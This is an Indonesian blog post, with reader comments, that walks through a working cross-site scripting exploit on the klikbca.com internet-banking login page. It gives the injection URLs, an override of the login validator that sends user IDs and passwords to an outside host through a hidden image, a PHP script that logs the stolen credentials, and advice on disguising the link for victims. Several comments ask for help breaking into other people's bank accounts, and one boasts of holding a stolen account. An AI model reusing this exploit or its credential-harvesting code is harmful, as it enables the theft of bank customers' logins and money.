Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.
Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.
Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.
Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.
The Vulnerability
Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script> var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric' alert(err); iBankForm.action='login.jsp'; iBankForm.submit(); </script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (‘). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (‘). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--
URL di atas menghasilkan source html berikut:
1 2 3 4 5 6 | <script type="text/javascript"> var err='TEST';alert(document.cookie);<!--' alert(err); iBankForm.action='login.jsp'; iBankForm.submit(); </script> |
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):
Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.
Strategy and Tactics
Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:
- Meng-intercept klik tombol submit
- Mengirimkan user dan password ke server saya
- Mencatat user dan password di server saya
Intercepting Submit Button
Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.
1 2 3 | <input type="Submit" value="LOGIN" name="value(Submit)" onclick="javascript:return Login_Form_Validator(document.frmParam)" onmouseover="this.style.cursor='hand'" /> |
Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.
var blnSubmitted = false; function Login_Form_Validator( theForm ) { document.forms[0]['value(user_id)'].autocomplete = 'off'; document.forms[0]['value(pswd)'].autocomplete = 'off'; var blnResponse = false; if (blnSubmitted) { return false; } var strErrMsg = ""; if( document.forms[0]['value(user_id)'].value == '') { alert("Silakan mengisi User ID anda/Please input your User ID"); document.forms[0]['value(user_id)'].focus(); return false; } if( document.forms[0]['value(user_id)'].value.length>12) { alert("User ID/Password Anda salah / Your User ID/Password is Wrong"); document.forms[0]['value(user_id)'].select(); document.forms[0]['value(user_id)'].focus(); return false; } if(document.forms[0]['value(pswd)'].value == '') { alert("Silakan mengisi PIN anda/Please input your PIN"); document.forms[0]['value(pswd)'].focus(); return false; } if(document.forms[0]['value(pswd)'].value.length<6) { alert("PIN harus 6 Angka/PIN must be 6 digits"); document.forms[0]['value(pswd)'].focus(); return false; } //if(strErrMsg != '') { // alert(strErrMsg); // return false; //} //blnSubmitted = confirm("Click OK to login."); if ( !blnSubmitted ) { blnSubmitted = true; blnResponse = true; } //if('< %= blnLogout %>'=='true') //blnResponse = false; return blnResponse; }
Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.
Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.
Jadi URL untuk menjalankan taktik saya di atas adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--URL tersebut menghasilkan source html berikut:
<script> var err='TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--' alert(err); iBankForm.action='login.jsp'; iBankForm.submit(); </script>
Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.
Sending username and password
Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.
Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:
<img src="http://www.ilmuhacking.com/testcapture.php" name="myimage" width="1" height="1">Sedangkan variabel yang berisi username dan password adalah:
document.forms[0]['value(user_id)'].value document.forms[0]['value(pswd)'].value
Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:
'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value
Selanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.
Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.
Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:
var abc=false; function Login_Form_Validator(theForm { if (!abc) { document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php'+'?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value; abc = true; return false; } }
Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini:
Klik di sini untuk login.
Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:
http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456
Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.
Saving User and Password
Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL www.ilmuhacking.com/testcapture.php
Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:
1 2 3 4 5 6 7 8 9 10 11 | <?php $file=fopen("capture.txt","a+"); $userid=$_GET["userid"]; $passwd=$_GET["passwd"]; $ipaddr=$_SERVER["REMOTE_ADDR"]; $now = date("Ymd H:i:s"); if (!empty($userid)) { fwrite($file,"$userid =&gt; $passwd (at $now from $ipaddr)\n"); } fclose($file); ?> |
Kesimpulan
Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities
Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.
No related posts.



tutorialnya manteb…
yiiihhaaa…..
Yup, S’to udah pernah warn hal ini dulu..
dan sekarang bung Rizki melengkapi puzzlenya
Om,,tolong bantuin cara termudahnya donx???
saya agak gak ngerti bahasa komputer…..
Mantapz nich tutornya
hal kecil emang g bisa diremehkan
percuma tu situs ada LOGO CT nya
hehehehe
jadi takut nich pake internet banking
pake sms banking aja dech
Waduh ……hehehehe …..kita bahas di milis KeamananInformasi@yahoogroups.com ya. ……bisa seru nih.
hmm..
[...] ibank.klikbca.com yang telah diberi “racun” XSS (lihat artikel saya yang berjudul: menjaring password klikbca dengan XSS ). Screenshot ini hanyalah simulasi man-in-the-middle di komputer saya sendiri. [...]
wah patut di coba nih…hehehe
apa ini penting. bukankah ini cuman masuk ke accountnya doank? n cuman liat saldo doank? IMHO.
untuk transaksi kan harus pake keybca.
udah adakah yg crack keybca nya?
nice hack though
kalau dapat account dan password terus??bukannya masih ada satu step yang masih manual. yaitu keybca, tanpa keybca tetap tidak bisa apa-apa..apa ada yang bisa jebolin KeyBCA juga???
wah… kok ngeri gini ya…. ngantisipasinya buat customer begimane yakz? jadi parno niy.. tq..
tekniknya biasa, isengnya luar biasa, hihihihi
keren2
@sakitjiwa
Hehe ember biasa kok,saking biasanya sampe bug ini ga ditutup padahal udah 1,5 tahun lebih.adminnya cuek abis. Salam buat antihackerlink.
@annon, @Ito memang masih diperlukan keybca untuk transaksi..tapi kalopun bisanya cuma lihat saldo dan mutasi rekening saja itu sudah sangat berbahaya lho.
@xyz waspada aja mas, kalau bisa langsung masuk ke https://ibank.klikbca.com dari addressbar. kalau ada pesan error atau hal yang tidak biasa lainnya, cepet kabur, jangan diterusin..
@Rio ya pelan2 aja mas, saya juga udah usahain bikin semudah mungkin dimengerti. ikutin aja terus artikel lainnya di blog ini, ntar juga ngerti..
[...] dalam CSRF adalah dengan memanfaatkan tag image (saya gunakan tag ini juga dalam artikel saya menjaring password klikBCA ). Bila browser menemukan tag image, maka serta merta dia akan melakukan request ke isi dari [...]
Wah…nice exploit omz..
Mantabs dahh..
Rgrd’s
Wahh..tutor yg bagus mas.
makasih ya.saya lg nyari2 buat tugas kuliah ni.
infonya berharga bgd…
[...] XSS dilakukan dengan cara meng-injeksi code javascript (client side script) yang akan dieksekusi oleh browser korban. Code javascript ini bertujuan mengirimkan cookie ke server yang sudah disiapkan attacker. Baca contoh PoC-nya di menjaring password klikBCA dengan XSS. [...]
Sip Sip…. Maju terus KiKi…alias Rizki…. sy dukung penuh… alangkah baiknya setelah dijebol tolong masukan/tranfer ke rekening bagi org yang membutuhkan tapi ingat ya ambil uangnya bagi pemilik rekening hasil korupsi….
Hi Pak Rizky,
Bukankah exploit diatas masih membutuhkan pc korban, krn js yg diubah hanya di client, jadi hanya bisa dapatkan korban di warnet atau pc di tempat public?
IMHO – selain itu jika saya clear cache dan cookies terdahulu di client apa js yg diubah masih bisa bertahan di dalam browser client?
thanks atas jawabannya. Maaf rasa ingin tahu saya cukup besar.
@HYang
exploit di atas memang XSS yang hanya menyerang client. salah satu skenario serangannya adalah memberikan link ke calon korban, atau mengubah link di halaman http://www.klikbca.com dengan mitm attack (see:http://www.ilmuhacking.com/web-security/ibank-vs-www-klikbca/).
begini, kalau link exploit itu sudah diklik korban, maka di browsernya akan tampil halaman login klikbca yang mengandung eksploit javascript. setelah itu, bila korban membersihkan cache/cookienya, lalu login di halman yang sudah ter-load itu, maka exploit saya masih jalan. sebab exploit itu masih ada di memori. Kecuali bila setelah cache dikosongkan, tab/window browsernya juga di-close, lalu buka lagi halaman login klikbca langsung dari addressbar (manual diketik), bukan dari link eksploit. kalau buka lagi dari link yang dikirim attacker, ya akan kena lagi.
FYI, bug di atas sudah ditutup BCA sekitar tanggal 3 februari kemarin, saya mengira2 dari file capture.txt yang tidak ada user/password baru setelah tanggal itu.
Masih ada kok mas..
Bagi donk 1 aja.. Butuh bener nih… buat pulang kampung…
satu tiket aja…
Please..
Thankz
Thanks alot for the explanation Pak Rizky. Its answer my question clearly.
regards.
Nice bos…
Kalo nanti udah bisa jebol keyBCA..
Jangan lupa jebol rekening koruptor…Oke!
sip lah..
btw gw coba masih bisa loh
xixixixi
kenapa klik bca saya yg dikomputer selalu error….apa penyebabnya ya pak…bagaimana cara agar klik bca saya bisa kembali….trims…
skrg dah g bisa lg yah?
@e-frame
sudah dipatch
untungnya sudah tidak bisa lagi
exsploit yang apuh itu apa mas?
mass.. gini aja dech negara kita dah merdeka… kalau mau kita bikin dong pengaman yang bener-bener ampuh jangan bikin virus.. atau bugs semacamnya…. bantu negara kita dong biar aman.. ya ndak??
Gimana cara bikin aman mas, klo kita sendiri gak tau kelemahan nya. Sedangkan orang lain tau kelemahan nya. Klo udah ketemu BUG nya laporin ke pihak yg bertanggung jawab, biar mereka yg perbaiki.
“Semakin banyak mengetahui kelemahan diri sendiri dan berusaha memperbaiki nya, maka semakin dekat untuk PERFECT.”
ehmm ?… bos riski ? emang kalo gue tahu username/password klickbca.com but kagak punya fisik ATM card atau Keybca … ada another way gak yah ? transfer duit ke rek lain pake string script code kayak yang loe contohin di atas itu … serem amir … kalo bisa transfer klikbca.com tanpa kudu pake FISIK keybca…
Mas, tutorialnya bagus banget, tapi berbahaya.
Mampir ke blogku mas, sapa tau butuh jasa translate
kalo ada yg bisa decompile “calculator” a.k.a KeyBCA
dgn bahasa mesin… teorinya sih bisa.
ada algoritma enkripsi di keyBCA tsb…
btw entah dimana BCA nyetak itu kalkulator ???
Di belakang kalkulatornya ada tuh…
Tulisannya sih: http://www.vasco.com
udah gw coba ga bisa… jadi simplenya gmn si? gw pengen hek klikbca bokap gw… tukang kawin harus dikerjain… please bantuannya… jova.imutz@gmail.com, mksh!
Iya gimana donk cara dapetin user passwordnya.. mksh.
bro bisa kasih tau cara ngehacknya gak?
gw dah dapet ID+pasppord nya.tapi gw bingung gimana caranya ngebobol keyBCA nya.masalahnya buat besok nih.
mohon di bl ya
@jo,@kopenx,@luis
bug ini sudah lama diperbaiki oleh pihak klikbca jadi sudah tidak berlaku lagi.
gw punya id & pass org, tapi gw ga bisa transfer ke rek gw, padahal gw punya key bca juga, apa mungkin ga cocok yah?
tlg dibantu dong, ntar gw bagi
emang sih kalo dituduh t ngak enak banget……
apa lagi kalo dikeroyok ….
uuhhhhh….capek deh.
wih… anak indonesia memang kreatif… tapi kaluu mau bantu and jangan pamrih bantu negara di dunia… bugs dan semacamnya termasuk kasus di masing-masing atm harus tuntas bener… mari kita kerja bersama untuk berantas orang jahat…
ehmmm..setelah dicoba..lgsung hang tu firefox
walah..trnyata udah expired y
thx pak u/infonya..jd pengen belajar lebih dalam..
Ilmunya mantab, terima kasih atas bgi bagi ilmunya.
wuuuuuuuih….. keren….. mantao bnr tu orang..
Boz Rizki saya juga pgn belajar neh!!!
truz dengan semua penjelasan anda di atas, dimana dan bagaimana menulis bahasa pemrogramannya apakah melalui notepad windows???
thx alot.
TUTORIAL BODOH!!!
setelah dapetin User & Passwd lalu mau apa?
setiap account klikBCA divalidasi oleh no seri KeyBCA, no seri ATM.
setiap transaksi selalu diminta verifikasi kode lewat keyBCA yang valid!
terus mau ngapain lo ama user & passwd doang?
GUOBLOOOOKKKK!!!!!!!!!!!!!!
Informasi saldo itu sangat penting. lah kalau koruptor ntar pada ngga mau nabung di bca karena taku hasil korupsinya ketahuan emang bca lama2 ngga bangkrut…..(karena sudah tidak aman)
not bad tutor nya.
anyway, untuk de-enkrip 2048 bit encryption bukan hal yang gampang. Untuk KeyBca, kalau tau bit patern nya, hampir bisa di pastikan 98% jebol kok.. Masalah nya, belum ada yang bisa / cukup pengangguran mencoba.. Karena setelah tau bit patern, harus tau source bit..
Inti : Dari Text – Hexa – bit – (bit + patern) = enkripsi = bit – hexa – Decimal
note : patern nya 99,99% bukan cuma ada 1 patern yang di gunakan..
(untuk pin atm , dari ribuan kemungkinan, cuma bisa salah masukin 2x, dan yang 3x maka kartu ke blok)
Cara paling gampang, pake teknik *fishing (memancing /phishing) atau hipno
cara gampang pake Zeus botnet..
Ni teknik phising ta…sering digunakan dldm hack facebook
teman, ada yang bisa hack key bca? token? join yuk ! karna saya udah berhasil hack account bca seseorang dan tebak berapa saldonya? 1 M lebih,, please repp..
dah berapa banyak dapet user name and password mas ?